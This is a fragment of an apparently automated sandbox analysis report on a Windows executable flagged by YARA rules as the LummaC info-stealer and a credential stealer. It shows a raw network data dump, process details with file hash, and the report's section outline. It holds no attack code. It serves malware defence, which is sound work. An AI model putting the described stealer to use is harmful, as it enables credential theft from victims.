2025-03-13 12:33:48 UTC	375	IN	Data Raw: c4 7d 14 3f 10 72 32 2d 75 d5 b9 a5 55 6e 88 bd b8 e3 45 78 7a dc fa 1a 5a 7f 66 fd 8a cb 97 18 c9 41 37 ec e3 05 d0 48 c1 97 29 0f 2e f7 ae 61 3d 04 99 d7 2d 58 e4 83 63 0c c2 61 80 f2 0c f9 40 38 be 8e b4 48 21 17 9a 25 d5 22 d8 c4 8d b9 42 46 e9 7f 49 43 e2 1f bd c5 01 dc df 06 c6 fc 03 dc 3b c7 cb 0f 3c 30 1f 30 16 df c3 a6 49 56 c9 67 74 da fb f2 37 81 d0 38 4d be 50 14 51 72 f5 7f ce 55 3e dd 9a fd bb a7 11 20 02 6d d6 73 fc 61 2b f8 83 48 16 0d 09 c0 fc 80 ad 0f 7a 3d 4e 6a 68 48 55 e5 d5 4c 85 73 11 fe cb 96 6f 01 77 5b 3f 5d 98 70 e9 58 d8 4c 43 01 e6 56 7e 9c ff f5 7a 2a d4 1e d9 aa 8a a7 00 89 5f 4d 4e b7 79 3f b7 80 93 b8 67 09 47 e2 39 98 04 d2 39 2e 76 e1 47 e4 36 69 32 bd 32 82 04 94 fc ba 80 5c 13 e1 62 d2 21 eb 17 66 71 59 d3 7d 4b ce f2 Data Ascii: }?r2-uUnExzZfA7H).a=-Xca@8H!%"BFIC;<00IVgt78MPQrU> msa+Hz=NjhHULsow[?]pXLCV~z*_MNy?gG99.vG6i22\b!fqY}K

Target ID:	2
Start time:	08:33:27
Start date:	13/03/2025
Path:	C:\Users\user\Desktop\SoftWare(2).exe1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SoftWare(2).exe1.exe"
Imagebase:	0xdc0000
File size:	774'976 bytes
MD5 hash:	3312164CBDF37C1DFB5D1B3F5D9C9863
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000002.00000002.1358798719.0000000000B93000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:33:28
Start date:	13/03/2025
Path:	C:\Users\user\Desktop\SoftWare(2).exe1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SoftWare(2).exe1.exe"
Imagebase:	0xdc0000
File size:	774'976 bytes
MD5 hash:	3312164CBDF37C1DFB5D1B3F5D9C9863
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000004.00000002.2594571322.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.1461447157.0000000000A69000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.1461280809.0000000000A59000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SoftWare(2).exe1.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
SoftWare(2).exe1.exe